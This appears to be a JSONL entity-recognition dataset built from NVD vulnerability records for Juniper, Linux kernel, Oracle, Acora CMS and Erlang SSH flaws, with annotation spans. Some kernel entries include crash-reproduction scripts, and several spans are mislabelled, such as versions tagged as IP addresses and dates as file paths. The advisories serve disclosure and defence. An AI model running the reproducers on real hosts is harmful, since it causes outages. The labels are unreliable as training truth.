{"text": "On Juniper Networks MX Series and EX9200 Series platforms with Trio-based MPC (Modular Port Concentrator) where Integrated Routing and Bridging (IRB) interface is configured and it is mapped to a VPLS instance or a Bridge-Domain, certain network events at Customer Edge (CE) device may cause memory leak in the MPC which can cause an out of memory and MPC restarts. When this issue occurs, there will be temporary traffic interruption until the MPC is restored. An administrator can use the following CLI command to monitor the status of memory usage level of the MPC: user@device> show system resource-monitor fpc FPC Resource Usage Summary Free Heap Mem Watermark : 20 % Free NH Mem Watermark : 20 % Free Filter Mem Watermark : 20 % * - Watermark reached Slot # % Heap Free RTT Average RTT 1 87 PFE # % ENCAP mem Free % NH mem Free % FW mem Free 0 NA 88 99 1 NA 89 99 When the issue is occurring, the value of “% NH mem Free” will go down until the MPC restarts. This issue affects MX Series and EX9200 Series with Trio-based PFEs (Packet Forwarding Engines). Please refer to https://kb.juniper.net/KB25385 for the list of Trio-based PFEs. This issue affects Juniper Networks Junos OS on MX Series, EX9200 Series: 17.3R3-S8; 17.4R3-S2; 18.2R3-S4, 18.2R3-S5; 18.3R3-S2, 18.3R3-S3; 18.4 versions starting from 18.4R3-S1 and later versions prior to 18.4R3-S6; 19.2 versions starting from 19.2R2 and later versions prior to 19.2R3-S1; 19.4 versions starting from 19.4R2 and later versions prior to 19.4R2-S3, 19.4R3; 20.2 versions starting from 20.2R1 and later versions prior to 20.2R1-S3, 20.2R2. This issue does not affect Juniper Networks Junos OS: 18.1, 19.1, 19.3, 20.1.", "spans": {"URL: https://kb.juniper.net/KB25385": [[1078, 1108]], "ORGANIZATION: Juniper": [[3, 10], [1161, 1168], [1624, 1631]], "VULNERABILITY: memory leak": [[292, 303]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0202"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/shmem, swap: fix softlockup with mTHP swapin\n\nFollowing softlockup can be easily reproduced on my test machine with:\n\necho always > /sys/kernel/mm/transparent_hugepage/hugepages-64kB/enabled\nswapon /dev/zram0 # zram0 is a 48G swap device\nmkdir -p /sys/fs/cgroup/memory/test\necho 1G > /sys/fs/cgroup/test/memory.max\necho $BASHPID > /sys/fs/cgroup/test/cgroup.procs\nwhile true; do\n    dd if=/dev/zero of=/tmp/test.img bs=1M count=5120\n    cat /tmp/test.img > /dev/null\n    rm /tmp/test.img\ndone\n\nThen after a while:\nwatchdog: BUG: soft lockup - CPU#0 stuck for 763s! [cat:5787]\nModules linked in: zram virtiofs\nCPU: 0 UID: 0 PID: 5787 Comm: cat Kdump: loaded Tainted: G             L      6.15.0.orig-gf3021d9246bc-dirty #118 PREEMPT(voluntary)·\nTainted: [L]=SOFTLOCKUP\nHardware name: Red Hat KVM/RHEL-AV, BIOS 0.0.0 02/06/2015\nRIP: 0010:mpol_shared_policy_lookup+0xd/0x70\nCode: e9 b8 b4 ff ff 31 c0 c3 cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 66 0f 1f 00 0f 1f 44 00 00 41 54 55 53 <48> 8b 1f 48 85 db 74 41 4c 8d 67 08 48 89 fb 48 89 f5 4c 89 e7 e8\nRSP: 0018:ffffc90002b1fc28 EFLAGS: 00000202\nRAX: 00000000001c20ca RBX: 0000000000724e1e RCX: 0000000000000001\nRDX: ffff888118e214c8 RSI: 0000000000057d42 RDI: ffff888118e21518\nRBP: 000000000002bec8 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000bf4 R11: 0000000000000000 R12: 0000000000000001\nR13: 00000000001c20ca R14: 00000000001c20ca R15: 0000000000000000\nFS:  00007f03f995c740(0000) GS:ffff88a07ad9a000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f03f98f1000 CR3: 0000000144626004 CR4: 0000000000770eb0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n <TASK>\n shmem_alloc_folio+0x31/0xc0\n shmem_swapin_folio+0x309/0xcf0\n ? filemap_get_entry+0x117/0x1e0\n ? xas_load+0xd/0xb0\n ? filemap_get_entry+0x101/0x1e0\n shmem_get_folio_gfp+0x2ed/0x5b0\n shmem_file_read_iter+0x7f/0x2e0\n vfs_read+0x252/0x330\n ksys_read+0x68/0xf0\n do_syscall_64+0x4c/0x1c0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7f03f9a46991\nCode: 00 48 8b 15 81 14 10 00 f7 d8 64 89 02 b8 ff ff ff ff eb bd e8 20 ad 01 00 f3 0f 1e fa 80 3d 35 97 10 00 00 74 13 31 c0 0f 05 <48> 3d 00 f0 ff ff 77 4f c3 66 0f 1f 44 00 00 55 48 89 e5 48 83 ec\nRSP: 002b:00007fff3c52bd28 EFLAGS: 00000246 ORIG_RAX: 0000000000000000\nRAX: ffffffffffffffda RBX: 0000000000040000 RCX: 00007f03f9a46991\nRDX: 0000000000040000 RSI: 00007f03f98ba000 RDI: 0000000000000003\nRBP: 00007fff3c52bd50 R08: 0000000000000000 R09: 00007f03f9b9a380\nR10: 0000000000000022 R11: 0000000000000246 R12: 0000000000040000\nR13: 00007f03f98ba000 R14: 0000000000000003 R15: 0000000000000000\n </TASK>\n\nThe reason is simple, readahead brought some order 0 folio in swap cache,\nand the swapin mTHP folio being allocated is in conflict with it, so\nswapcache_prepare fails and causes shmem_swap_alloc_folio to return\n-EEXIST, and shmem simply retries again and again causing this loop.\n\nFix it by applying a similar fix for anon mTHP swapin.\n\nThe performance change is very slight, time of swapin 10g zero folios\nwith shmem (test for 12 times):\nBefore:  2.47s\nAfter:   2.48s\n\n[kasong@tencent.com: add comment]", "spans": {"DOMAIN: tencent.com": [[3316, 3327]], "FILEPATH: /sys/kernel/mm/transparent_hugepage/hugepages-64kB/enabled": [[204, 262]], "FILEPATH: /dev/zram0": [[270, 280]], "FILEPATH: /sys/fs/cgroup/memory/test": [[319, 345]], "FILEPATH: /sys/fs/cgroup/test/memory.max": [[356, 386]], "FILEPATH: /sys/fs/cgroup/test/cgroup.procs": [[403, 435]], "FILEPATH: /dev/zero": [[461, 470]], "FILEPATH: /tmp/test.img": [[474, 487], [513, 526], [546, 559]], "FILEPATH: /dev/null": [[529, 538]], "FILEPATH: /06/2015": [[889, 897]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[863, 866]], "ORGANIZATION: Red Hat": [[855, 862]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38241"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: Fix kmemleak in blk_mq_init_allocated_queue\n\nThere is a kmemleak caused by modprobe null_blk.ko\n\nunreferenced object 0xffff8881acb1f000 (size 1024):\n  comm \"modprobe\", pid 836, jiffies 4294971190 (age 27.068s)\n  hex dump (first 32 bytes):\n    00 00 00 00 ad 4e ad de ff ff ff ff 00 00 00 00  .....N..........\n    ff ff ff ff ff ff ff ff 00 53 99 9e ff ff ff ff  .........S......\n  backtrace:\n    [<000000004a10c249>] kmalloc_node_trace+0x22/0x60\n    [<00000000648f7950>] blk_mq_alloc_and_init_hctx+0x289/0x350\n    [<00000000af06de0e>] blk_mq_realloc_hw_ctxs+0x2fe/0x3d0\n    [<00000000e00c1872>] blk_mq_init_allocated_queue+0x48c/0x1440\n    [<00000000d16b4e68>] __blk_mq_alloc_disk+0xc8/0x1c0\n    [<00000000d10c98c3>] 0xffffffffc450d69d\n    [<00000000b9299f48>] 0xffffffffc4538392\n    [<0000000061c39ed6>] do_one_initcall+0xd0/0x4f0\n    [<00000000b389383b>] do_init_module+0x1a4/0x680\n    [<0000000087cf3542>] load_module+0x6249/0x7110\n    [<00000000beba61b8>] __do_sys_finit_module+0x140/0x200\n    [<00000000fdcfff51>] do_syscall_64+0x35/0x80\n    [<000000003c0f1f71>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nThat is because q->ma_ops is set to NULL before blk_release_queue is\ncalled.\n\nblk_mq_init_queue_data\n  blk_mq_init_allocated_queue\n    blk_mq_realloc_hw_ctxs\n      for (i = 0; i < set->nr_hw_queues; i++) {\n        old_hctx = xa_load(&q->hctx_table, i);\n        if (!blk_mq_alloc_and_init_hctx(.., i, ..))\t\t[1]\n          if (!old_hctx)\n\t    break;\n\n      xa_for_each_start(&q->hctx_table, j, hctx, j)\n        blk_mq_exit_hctx(q, set, hctx, j); \t\t\t[2]\n\n    if (!q->nr_hw_queues)\t\t\t\t\t[3]\n      goto err_hctxs;\n\n  err_exit:\n      q->mq_ops = NULL;\t\t\t  \t\t\t[4]\n\n  blk_put_queue\n    blk_release_queue\n      if (queue_is_mq(q))\t\t\t\t\t[5]\n        blk_mq_release(q);\n\n[1]: blk_mq_alloc_and_init_hctx failed at i != 0.\n[2]: The hctxs allocated by [1] are moved to q->unused_hctx_list and\nwill be cleaned up in blk_mq_release.\n[3]: q->nr_hw_queues is 0.\n[4]: Set q->mq_ops to NULL.\n[5]: queue_is_mq returns false due to [4]. And blk_mq_release\nwill not be called. The hctxs in q->unused_hctx_list are leaked.\n\nTo fix it, call blk_release_queue in exception path.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49901"}}
{"text": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebLogic Server, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as unauthorized read access to a subset of Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 10.3.6.0": [[143, 151]], "IP_ADDRESS: 12.1.3.0": [[155, 163]], "IP_ADDRESS: 12.2.1.3": [[167, 175]], "IP_ADDRESS: 12.2.1.4": [[182, 190]], "ORGANIZATION: Oracle": [[21, 27], [55, 61], [302, 308], [443, 449], [632, 638], [722, 728]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14572"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). Supported versions that is affected is 8.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS score depend on the software that uses the Outside In Technology code. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology code, but if data is not received over a network the CVSS score may be lower. CVSS 3.0 Base Score 7.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [273, 279], [414, 420], [510, 516], [634, 640]], "VULNERABILITY: denial of service": [[599, 616]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2786"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naio: fix use-after-free due to missing POLLFREE handling\n\nsignalfd_poll() and binder_poll() are special in that they use a\nwaitqueue whose lifetime is the current task, rather than the struct\nfile as is normally the case.  This is okay for blocking polls, since a\nblocking poll occurs within one task; however, non-blocking polls\nrequire another solution.  This solution is for the queue to be cleared\nbefore it is freed, by sending a POLLFREE notification to all waiters.\n\nUnfortunately, only eventpoll handles POLLFREE.  A second type of\nnon-blocking poll, aio poll, was added in kernel v4.18, and it doesn't\nhandle POLLFREE.  This allows a use-after-free to occur if a signalfd or\nbinder fd is polled with aio poll, and the waitqueue gets freed.\n\nFix this by making aio poll handle POLLFREE.\n\nA patch by Ramji Jiyani <ramjiyani@google.com>\n(https://lore.kernel.org/r/20211027011834.2497484-1-ramjiyani@google.com)\ntried to do this by making aio_poll_wake() always complete the request\ninline if POLLFREE is seen.  However, that solution had two bugs.\nFirst, it introduced a deadlock, as it unconditionally locked the aio\ncontext while holding the waitqueue lock, which inverts the normal\nlocking order.  Second, it didn't consider that POLLFREE notifications\nare missed while the request has been temporarily de-queued.\n\nThe second problem was solved by my previous patch.  This patch then\nproperly fixes the use-after-free by handling POLLFREE in a\ndeadlock-free way.  It does this by taking advantage of the fact that\nfreeing of the waitqueue is RCU-delayed, similar to what eventpoll does.", "spans": {"URL: https://lore.kernel.org/r/20211027011834.2497484-1-ramjiyani@google.com": [[913, 984]], "DOMAIN: google.com": [[900, 910]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[78, 92], [712, 726], [1481, 1495]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47505"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: Fix NPD in {arp,neigh}_reduce() when using nexthop objects\n\nWhen the \"proxy\" option is enabled on a VXLAN device, the device will\nsuppress ARP requests and IPv6 Neighbor Solicitation messages if it is\nable to reply on behalf of the remote host. That is, if a matching and\nvalid neighbor entry is configured on the VXLAN device whose MAC address\nis not behind the \"any\" remote (0.0.0.0 / ::).\n\nThe code currently assumes that the FDB entry for the neighbor's MAC\naddress points to a valid remote destination, but this is incorrect if\nthe entry is associated with an FDB nexthop group. This can result in a\nNPD [1][3] which can be reproduced using [2][4].\n\nFix by checking that the remote destination exists before dereferencing\nit.\n\n[1]\nBUG: kernel NULL pointer dereference, address: 0000000000000000\n[...]\nCPU: 4 UID: 0 PID: 365 Comm: arping Not tainted 6.17.0-rc2-virtme-g2a89cb21162c #2 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc41 04/01/2014\nRIP: 0010:vxlan_xmit+0xb58/0x15f0\n[...]\nCall Trace:\n <TASK>\n dev_hard_start_xmit+0x5d/0x1c0\n __dev_queue_xmit+0x246/0xfd0\n packet_sendmsg+0x113a/0x1850\n __sock_sendmsg+0x38/0x70\n __sys_sendto+0x126/0x180\n __x64_sys_sendto+0x24/0x30\n do_syscall_64+0xa4/0x260\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n\n[2]\n #!/bin/bash\n\n ip address add 192.0.2.1/32 dev lo\n\n ip nexthop add id 1 via 192.0.2.2 fdb\n ip nexthop add id 10 group 1 fdb\n\n ip link add name vx0 up type vxlan id 10010 local 192.0.2.1 dstport 4789 proxy\n\n ip neigh add 192.0.2.3 lladdr 00:11:22:33:44:55 nud perm dev vx0\n\n bridge fdb add 00:11:22:33:44:55 dev vx0 self static nhid 10\n\n arping -b -c 1 -s 192.0.2.1 -I vx0 192.0.2.3\n\n[3]\nBUG: kernel NULL pointer dereference, address: 0000000000000000\n[...]\nCPU: 13 UID: 0 PID: 372 Comm: ndisc6 Not tainted 6.17.0-rc2-virtmne-g6ee90cb26014 #3 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1v996), BIOS 1.17.0-4.fc41 04/01/2x014\nRIP: 0010:vxlan_xmit+0x803/0x1600\n[...]\nCall Trace:\n <TASK>\n dev_hard_start_xmit+0x5d/0x1c0\n __dev_queue_xmit+0x246/0xfd0\n ip6_finish_output2+0x210/0x6c0\n ip6_finish_output+0x1af/0x2b0\n ip6_mr_output+0x92/0x3e0\n ip6_send_skb+0x30/0x90\n rawv6_sendmsg+0xe6e/0x12e0\n __sock_sendmsg+0x38/0x70\n __sys_sendto+0x126/0x180\n __x64_sys_sendto+0x24/0x30\n do_syscall_64+0xa4/0x260\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\nRIP: 0033:0x7f383422ec77\n\n[4]\n #!/bin/bash\n\n ip address add 2001:db8:1::1/128 dev lo\n\n ip nexthop add id 1 via 2001:db8:1::1 fdb\n ip nexthop add id 10 group 1 fdb\n\n ip link add name vx0 up type vxlan id 10010 local 2001:db8:1::1 dstport 4789 proxy\n\n ip neigh add 2001:db8:1::3 lladdr 00:11:22:33:44:55 nud perm dev vx0\n\n bridge fdb add 00:11:22:33:44:55 dev vx0 self static nhid 10\n\n ndisc6 -r 1 -s 2001:db8:1::1 -w 1 2001:db8:1::3 vx0", "spans": {"IP_ADDRESS: 0.0.0.0": [[453, 460]], "IP_ADDRESS: 192.0.2.1": [[1404, 1413], [1550, 1559], [1729, 1738]], "IP_ADDRESS: 192.0.2.2": [[1450, 1459]], "IP_ADDRESS: 192.0.2.3": [[1594, 1603], [1746, 1755]], "FILEPATH: /01/2014": [[1060, 1068]], "FILEPATH: /bin/bash": [[1377, 1386], [2466, 2475]], "FILEPATH: /01/2x014": [[2012, 2021]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[999, 1003], [1950, 1954]], "VULNERABILITY: NULL pointer dereference": [[824, 848], [1773, 1797]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39850"}}
{"text": "Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J). Supported versions that are affected are 8.0.19 and prior and 5.1.48 and prior. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Connectors accessible data as well as unauthorized read access to a subset of MySQL Connectors accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of MySQL Connectors. CVSS 3.0 Base Score 5.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L).", "spans": {"SYSTEM: MySQL": [[21, 26], [56, 61], [292, 297], [505, 510], [589, 594], [701, 706]], "ORGANIZATION: Oracle": [[49, 55]], "VULNERABILITY: denial of service": [[666, 683]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2934"}}
{"text": "DDSN Interactive cm3 Acora CMS version 10.7.1 contains an improper access control vulnerability. An editor-privileged user can access sensitive configuration files by force browsing the “/Admin/file_manager/file_details.asp” endpoint and manipulating the “file” parameter. By referencing specific files (e.g., cm3.xml), the attacker can retrieve system administrator credentials, SMTP settings, database credentials, and other confidential information. The exposure of this information can lead to full administrative access to the CMS, unauthorized access to email services, compromise of backend databases, lateral movement within the network, and long-term persistence by an attacker. This access control bypass poses a critical risk of account takeover, privilege escalation, and systemic compromise of the affected application and its associated infrastructure.", "spans": {"FILEPATH: /Admin/file_manager/file_details.asp": [[187, 223]], "FILEPATH: cm3.xml": [[310, 317]], "VULNERABILITY: improper access control": [[58, 81]], "VULNERABILITY: privilege escalation": [[758, 778]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-29597"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. It is an npm package \"parse-server\". In Parse Server before version 4.5.0, user passwords involved in LDAP authentication are stored in cleartext. This is fixed in version 4.5.0 by stripping password after authentication to prevent cleartext password storage.", "spans": {"FILEPATH: Node.js": [[95, 102]], "ORGANIZATION: npm": [[113, 116]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26288"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-iolatency: Fix inflight count imbalances and IO hangs on offline\n\niolatency needs to track the number of inflight IOs per cgroup. As this\ntracking can be expensive, it is disabled when no cgroup has iolatency\nconfigured for the device. To ensure that the inflight counters stay\nbalanced, iolatency_set_limit() freezes the request_queue while manipulating\nthe enabled counter, which ensures that no IO is in flight and thus all\ncounters are zero.\n\nUnfortunately, iolatency_set_limit() isn't the only place where the enabled\ncounter is manipulated. iolatency_pd_offline() can also dec the counter and\ntrigger disabling. As this disabling happens without freezing the q, this\ncan easily happen while some IOs are in flight and thus leak the counts.\n\nThis can be easily demonstrated by turning on iolatency on an one empty\ncgroup while IOs are in flight in other cgroups and then removing the\ncgroup. Note that iolatency shouldn't have been enabled elsewhere in the\nsystem to ensure that removing the cgroup disables iolatency for the whole\ndevice.\n\nThe following keeps flipping on and off iolatency on sda:\n\n  echo +io > /sys/fs/cgroup/cgroup.subtree_control\n  while true; do\n      mkdir -p /sys/fs/cgroup/test\n      echo '8:0 target=100000' > /sys/fs/cgroup/test/io.latency\n      sleep 1\n      rmdir /sys/fs/cgroup/test\n      sleep 1\n  done\n\nand there's concurrent fio generating direct rand reads:\n\n  fio --name test --filename=/dev/sda --direct=1 --rw=randread \\\n      --runtime=600 --time_based --iodepth=256 --numjobs=4 --bs=4k\n\nwhile monitoring with the following drgn script:\n\n  while True:\n    for css in css_for_each_descendant_pre(prog['blkcg_root'].css.address_of_()):\n        for pos in hlist_for_each(container_of(css, 'struct blkcg', 'css').blkg_list):\n            blkg = container_of(pos, 'struct blkcg_gq', 'blkcg_node')\n            pd = blkg.pd[prog['blkcg_policy_iolatency'].plid]\n            if pd.value_() == 0:\n                continue\n            iolat = container_of(pd, 'struct iolatency_grp', 'pd')\n            inflight = iolat.rq_wait.inflight.counter.value_()\n            if inflight:\n                print(f'inflight={inflight} {disk_name(blkg.q.disk).decode(\"utf-8\")} '\n                      f'{cgroup_path(css.cgroup).decode(\"utf-8\")}')\n    time.sleep(1)\n\nThe monitoring output looks like the following:\n\n  inflight=1 sda /user.slice\n  inflight=1 sda /user.slice\n  ...\n  inflight=14 sda /user.slice\n  inflight=13 sda /user.slice\n  inflight=17 sda /user.slice\n  inflight=15 sda /user.slice\n  inflight=18 sda /user.slice\n  inflight=17 sda /user.slice\n  inflight=20 sda /user.slice\n  inflight=19 sda /user.slice <- fio stopped, inflight stuck at 19\n  inflight=19 sda /user.slice\n  inflight=19 sda /user.slice\n\nIf a cgroup with stuck inflight ends up getting throttled, the throttled IOs\nwill never get issued as there's no completion event to wake it up leading\nto an indefinite hang.\n\nThis patch fixes the bug by unifying enable handling into a work item which\nis automatically kicked off from iolatency_set_min_lat_nsec() which is\ncalled from both iolatency_set_limit() and iolatency_pd_offline() paths.\nPunting to a work item is necessary as iolatency_pd_offline() is called\nunder spinlocks while freezing a request_queue requires a sleepable context.\n\nThis also simplifies the code reducing LOC sans the comments and avoids the\nunnecessary freezes which were happening whenever a cgroup's latency target\nis newly set or cleared.", "spans": {"FILEPATH: /sys/fs/cgroup/cgroup.subtree_control": [[1191, 1228]], "FILEPATH: /sys/fs/cgroup/test": [[1261, 1280], [1371, 1390]], "FILEPATH: /sys/fs/cgroup/test/io.latency": [[1314, 1344]], "FILEPATH: /dev/sda": [[1500, 1508]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49394"}}
{"text": "Improper Handling of Highly Compressed Data (Compression Bomb) vulnerability in Erlang OTP ssh (ssh_transport modules) allows Denial of Service via Resource Depletion.\n\nThe SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication without any size limit, enabling reliable memory exhaustion DoS.\n\nTwo compression algorithms are affected:\n\n* zlib: Activates immediately after key exchange, enabling unauthenticated attacks\n* zlib@openssh.com: Activates post-authentication, enabling authenticated attacks\n\nEach SSH packet can decompress ~255 MB from 256 KB of wire data (1029:1 amplification ratio). Multiple packets can rapidly exhaust available memory, causing OOM kills in memory-constrained environments.\n\nThis vulnerability is associated with program files lib/ssh/src/ssh_transport.erl and program routines ssh_transport:decompress/2, ssh_transport:handle_packet_part/4.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.1, 27.3.4.9 and 26.2.5.18 corresponding to ssh from 3.0.1 until 5.5.1, 5.2.11.6 and 5.1.4.14.", "spans": {"IP_ADDRESS: 27.3.4.9": [[1001, 1009]], "IP_ADDRESS: 26.2.5.18": [[1014, 1023]], "IP_ADDRESS: 5.2.11.6": [[1069, 1077]], "IP_ADDRESS: 5.1.4.14": [[1082, 1090]], "DOMAIN: openssh.com": [[498, 509]], "FILEPATH: /ssh/src/ssh_transport.erl": [[833, 859]], "VULNERABILITY: Denial of Service": [[126, 143]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23943"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: vimc: skip .s_stream() for stopped entities\n\nSyzbot reported [1] a warning prompted by a check in call_s_stream()\nthat checks whether .s_stream() operation is warranted for unstarted\nor stopped subdevs.\n\nAdd a simple fix in vimc_streamer_pipeline_terminate() ensuring that\nentities skip a call to .s_stream() unless they have been previously\nproperly started.\n\n[1] Syzbot report:\n------------[ cut here ]------------\nWARNING: CPU: 0 PID: 5933 at drivers/media/v4l2-core/v4l2-subdev.c:460 call_s_stream+0x2df/0x350 drivers/media/v4l2-core/v4l2-subdev.c:460\nModules linked in:\nCPU: 0 UID: 0 PID: 5933 Comm: syz-executor330 Not tainted 6.13.0-rc2-syzkaller-00362-g2d8308bf5b67 #0\n...\nCall Trace:\n <TASK>\n vimc_streamer_pipeline_terminate+0x218/0x320 drivers/media/test-drivers/vimc/vimc-streamer.c:62\n vimc_streamer_pipeline_init drivers/media/test-drivers/vimc/vimc-streamer.c:101 [inline]\n vimc_streamer_s_stream+0x650/0x9a0 drivers/media/test-drivers/vimc/vimc-streamer.c:203\n vimc_capture_start_streaming+0xa1/0x130 drivers/media/test-drivers/vimc/vimc-capture.c:256\n vb2_start_streaming+0x15f/0x5a0 drivers/media/common/videobuf2/videobuf2-core.c:1789\n vb2_core_streamon+0x2a7/0x450 drivers/media/common/videobuf2/videobuf2-core.c:2348\n vb2_streamon drivers/media/common/videobuf2/videobuf2-v4l2.c:875 [inline]\n vb2_ioctl_streamon+0xf4/0x170 drivers/media/common/videobuf2/videobuf2-v4l2.c:1118\n __video_do_ioctl+0xaf0/0xf00 drivers/media/v4l2-core/v4l2-ioctl.c:3122\n video_usercopy+0x4d2/0x1620 drivers/media/v4l2-core/v4l2-ioctl.c:3463\n v4l2_ioctl+0x1ba/0x250 drivers/media/v4l2-core/v4l2-dev.c:366\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:906 [inline]\n __se_sys_ioctl fs/ioctl.c:892 [inline]\n __x64_sys_ioctl+0x190/0x200 fs/ioctl.c:892\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f2b85c01b19\n...", "spans": {"FILEPATH: /media/v4l2-core/v4l2-subdev.c": [[529, 559], [597, 627]], "FILEPATH: /media/test-drivers/vimc/vimc-streamer.c": [[830, 870], [910, 950], [1007, 1047]], "FILEPATH: /media/test-drivers/vimc/vimc-capture.c": [[1100, 1139]], "FILEPATH: /media/common/videobuf2/videobuf2-core.c": [[1184, 1224], [1268, 1308]], "FILEPATH: /media/common/videobuf2/videobuf2-v4l2.c": [[1335, 1375], [1427, 1467]], "FILEPATH: /media/v4l2-core/v4l2-ioctl.c": [[1510, 1539], [1581, 1610]], "FILEPATH: /media/v4l2-core/v4l2-dev.c": [[1647, 1674]], "FILEPATH: /x86/entry/common.c": [[1857, 1876], [1919, 1938]], "FILEPATH: ioctl.c": [[1693, 1700], [1732, 1739], [1772, 1779], [1825, 1832]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22028"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix f2fs_bug_on when uninstalling filesystem call f2fs_evict_inode.\n\ncreating a large files during checkpoint disable until it runs out of\nspace and then delete it, then remount to enable checkpoint again, and\nthen unmount the filesystem triggers the f2fs_bug_on as below:\n\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/inode.c:896!\nCPU: 2 UID: 0 PID: 1286 Comm: umount Not tainted 6.11.0-rc7-dirty #360\nOops: invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\nRIP: 0010:f2fs_evict_inode+0x58c/0x610\nCall Trace:\n __die_body+0x15/0x60\n die+0x33/0x50\n do_trap+0x10a/0x120\n f2fs_evict_inode+0x58c/0x610\n do_error_trap+0x60/0x80\n f2fs_evict_inode+0x58c/0x610\n exc_invalid_op+0x53/0x60\n f2fs_evict_inode+0x58c/0x610\n asm_exc_invalid_op+0x16/0x20\n f2fs_evict_inode+0x58c/0x610\n evict+0x101/0x260\n dispose_list+0x30/0x50\n evict_inodes+0x140/0x190\n generic_shutdown_super+0x2f/0x150\n kill_block_super+0x11/0x40\n kill_f2fs_super+0x7d/0x140\n deactivate_locked_super+0x2a/0x70\n cleanup_mnt+0xb3/0x140\n task_work_run+0x61/0x90\n\nThe root cause is: creating large files during disable checkpoint\nperiod results in not enough free segments, so when writing back root\ninode will failed in f2fs_enable_checkpoint. When umount the file\nsystem after enabling checkpoint, the root inode is dirty in\nf2fs_evict_inode function, which triggers BUG_ON. The steps to\nreproduce are as follows:\n\ndd if=/dev/zero of=f2fs.img bs=1M count=55\nmount f2fs.img f2fs_dir -o checkpoint=disable:10%\ndd if=/dev/zero of=big bs=1M count=50\nsync\nrm big\nmount -o remount,checkpoint=enable f2fs_dir\numount f2fs_dir\n\nLet's redirty inode when there is not free segments during checkpoint\nis disable.", "spans": {"FILEPATH: /f2fs/inode.c": [[402, 415]], "FILEPATH: /dev/zero": [[1456, 1465], [1549, 1558]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": 